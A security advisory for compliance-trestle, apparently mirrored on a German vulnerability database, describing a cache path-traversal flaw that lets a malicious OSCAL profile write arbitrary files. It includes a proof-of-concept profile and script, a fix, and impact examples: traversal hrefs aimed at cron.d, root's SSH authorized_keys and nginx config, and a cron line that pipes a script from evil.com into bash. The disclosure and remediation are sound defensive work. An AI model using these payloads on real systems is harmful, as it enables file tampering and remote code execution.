Hoch

compliance-trestle Remote Fetching Mechanism has an Arbitrary File Write via Cache Path Traversal

  • Veröffentlicht: 27.05.2026
  • Aktualisiert: 11.10.2026 14:18

Summary

The compliance-trestle library's remote fetching cache mechanism (HTTPSFetcher and SFTPFetcher) constructs the local cache file path from the URL path component without sanitizing path traversal sequences (../). When a remote OSCAL profile references a URL with traversal in its path, the HTTP response body is written to a location outside the intended cache directory, enabling arbitrary file write with attacker-controlled content to the filesystem.

Attack chain: Malicious OSCAL profile → HTTPS fetch → cache path traversal → arbitrary file write → RCE (via cron, SSH keys, etc.)

Affected Component

Repository: https://github.com/IBM/compliance-trestle File: trestle/core/remote/cache.py (lines 259-266 for HTTPSFetcher, lines 328-333 for SFTPFetcher) Version: v4.0.2 (latest as of 2026-04-30)

Vulnerable Code

cache.py:259-266 — HTTPSFetcher cache path construction

python
class HTTPSFetcher(FetcherBase):
    def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
        # ...
        u = parse.urlparse(self._uri)
        # ...
        if u.hostname is None:
            raise TrestleError(f'Cache request for {self._uri} requires hostname')
        https_cached_dir = self._trestle_cache_path / u.hostname
        # ❌ path_parent preserves ../ sequences from URL
        path_parent = pathlib.Path(u.path[re.search('[^/\\\\]', u.path).span()[0] :]).parent
        https_cached_dir = https_cached_dir / path_parent
        https_cached_dir.mkdir(parents=True, exist_ok=True)  # ❌ Creates dirs outside cache
        self._cached_object_path = https_cached_dir / pathlib.Path(pathlib.Path(u.path).name)

cache.py:285-295 — Content written to traversed path

python
    def _do_fetch(self) -> None:
        # ...
        response = requests.get(self._url, auth=auth, verify=verify, timeout=30)
        if response.status_code == 200:
            result = response.text  # ❌ Attacker-controlled content
            self._cached_object_path.write_text(result)  # ❌ Written to arbitrary path

cache.py:328-333 — SFTPFetcher (identical pattern)

python
class SFTPFetcher(FetcherBase):
    def __init__(self, ...):
        # Identical path construction — same vulnerability
        sftp_cached_dir = self._trestle_cache_path / u.hostname
        path_parent = pathlib.Path(u.path[re.search('[^/\\\\]', u.path).span()[0] :]).parent
        sftp_cached_dir = sftp_cached_dir / path_parent
        sftp_cached_dir.mkdir(parents=True, exist_ok=True)
        self._cached_object_path = sftp_cached_dir / pathlib.Path(pathlib.Path(u.path).name)

Root Cause:

  1. urlparse("https://evil.com/../../../tmp/pwned.json").path = /../../../tmp/pwned.json — preserves ../
  2. pathlib.Path(u.path).parent preserves traversal sequences
  3. cache_dir / hostname / "../../../../../../tmp" resolves outside cache
  4. mkdir(parents=True, exist_ok=True) creates intermediate directories
  5. write_text(response.text) writes attacker-controlled content to traversed path
  6. No is_relative_to() boundary check on the resolved path

Steps to Reproduce

Prerequisites

bash
pip install compliance-trestle==4.0.2

PoC: Malicious OSCAL Profile

yaml
# malicious_profile.yaml — arbitrary file write via cache traversal
profile:
  uuid: "550e8400-e29b-41d4-a716-446655440000"
  metadata:
    title: "Malicious Profile"
    version: "1.0"
    last-modified: "2024-01-01T00:00:00+00:00"
    oscal-version: "1.0.4"
  imports:
    - href: "https://evil.com/../../../../../../../tmp/trestle_pwned.json"

PoC: Cache Path Traversal Simulation

python
#!/usr/bin/env python3
"""PoC: Cache path traversal → arbitrary file write"""
import os, re, tempfile, shutil
from pathlib import Path
from urllib.parse import urlparse

# Simulate trestle cache behavior (cache.py:259-266)
trestle_root = Path(tempfile.mkdtemp(prefix="trestle_poc_"))
cache_dir = trestle_root / ".trestle" / ".cache"
cache_dir.mkdir(parents=True, exist_ok=True)

evil_url = "https://evil.com/../../../../../../../tmp/trestle_pwned.json"
u = urlparse(evil_url)

# Exact trestle code path
cached_dir = cache_dir / u.hostname
m = re.search(r'[^/\\\\]', u.path)
path_parent = Path(u.path[m.span()[0]:]).parent
cached_dir = cached_dir / path_parent
cached_dir.mkdir(parents=True, exist_ok=True)
cached_file = cached_dir / Path(Path(u.path).name)

print(f"Cache dir: {cache_dir}")
print(f"Resolved write target: {cached_file.resolve()}")
# Output: /tmp/trestle_pwned.json ← OUTSIDE cache directory!

# Write attacker content
attacker_payload = '*/5 * * * * root /bin/bash -c "id > /tmp/rce_proof"'
cached_file.write_text(attacker_payload)
print(f"Written: {cached_file.resolve().read_text()}")

# Cleanup
os.remove(str(cached_file.resolve()))
shutil.rmtree(str(trestle_root))

Expected: Write confined to .trestle/.cache/ directory Actual: File written to /tmp/trestle_pwned.json (arbitrary filesystem location)

Remediation

Fix for HTTPSFetcher (cache.py:259-266):

python
class HTTPSFetcher(FetcherBase):
    def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
        # ...
        u = parse.urlparse(self._uri)
        https_cached_dir = self._trestle_cache_path / u.hostname

        # ✅ Sanitize path: remove traversal sequences
        safe_path = pathlib.PurePosixPath(u.path).parts
        safe_path = [p for p in safe_path if p != '..' and p != '/']
        path_parent = pathlib.Path(*safe_path[:-1]) if len(safe_path) > 1 else pathlib.Path('.')

        https_cached_dir = https_cached_dir / path_parent
        https_cached_dir.mkdir(parents=True, exist_ok=True)
        self._cached_object_path = https_cached_dir / safe_path[-1]

        # ✅ Boundary check
        if not self._cached_object_path.resolve().is_relative_to(self._trestle_cache_path.resolve()):
            raise TrestleError(
                f"Cache path traversal blocked: URL '{uri}' resolves to "
                f"'{self._cached_object_path.resolve()}' outside cache directory"
            )

Same fix required for SFTPFetcher at lines 328-333.

References

Impact

1. Cron Job Injection → Remote Code Execution

yaml
# Profile that writes a cron job
imports:
  - href: "https://evil.com/../../../../../../../etc/cron.d/backdoor"

Attacker's server responds with:

* * * * * root /bin/bash -c 'curl https://evil.com/shell.sh | bash'

2. SSH Authorized Keys Injection

yaml
imports:
  - href: "https://evil.com/../../../../../../../root/.ssh/authorized_keys"

Attacker's server responds with their SSH public key.

3. Config File Overwrite

yaml
imports:
  - href: "https://evil.com/../../../../../../../etc/nginx/conf.d/evil.conf"

4. Python Path Hijacking

Write malicious .py file to a location on sys.path for code execution on next import.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) compliance-trestle >= 4.0.0, < 4.0.3, < 3.12.2 4.0.3, 3.12.2

Verweise

CVSS-Wert -
CVSS-Vektor
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Schwäche (CWE)
CWE-73
Plattform
Python (PyPI)
Paket
compliance-trestle
Veröffentlicht
27.05.2026
Aktualisiert
11.10.2026 14:18

Quellen und Lizenzen

OSV / GitHub Advisory Database - PYSEC-2026-2424 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-g3vg-vx23-3858 - CC BY 4.0

Schwachstellenhistorie: compliance-trestle

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (9) im Archiv
Einträge insgesamt
9
Erste → letzte
05.2026 09.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Hoch 7
  • Mittel 2

Veröffentlichungen pro Jahr

  1. 2026: 9
Schweregrad:
  1. Hoch · 7.8 CVE-2026-57170 < 3.12.4, >= 4.0.0, < 4.1.0 3.12.4, 4.1.0
  2. Hoch · 7.8 CVE-2026-54757 < 3.12.4, >= 4.0.0, < 4.1.0 3.12.4, 4.1.0
  3. Hoch · 7.8 CVE-2026-46439 < 3.12.2, >= 4.0.0, < 4.0.3 3.12.2, 4.0.3
  4. Hoch · 8.4 CVE-2026-46345 >= 4.0.0, < 4.0.3, < 3.12.2 4.0.3, 3.12.2
  5. compliance-trestle Remote Fetching Mechanism has an Arbitrary File Write via Cache Path Traversal dieser Eintrag
    Hoch CVE-2026-45725 >= 4.0.0, < 4.0.3, < 3.12.2 4.0.3, 3.12.2

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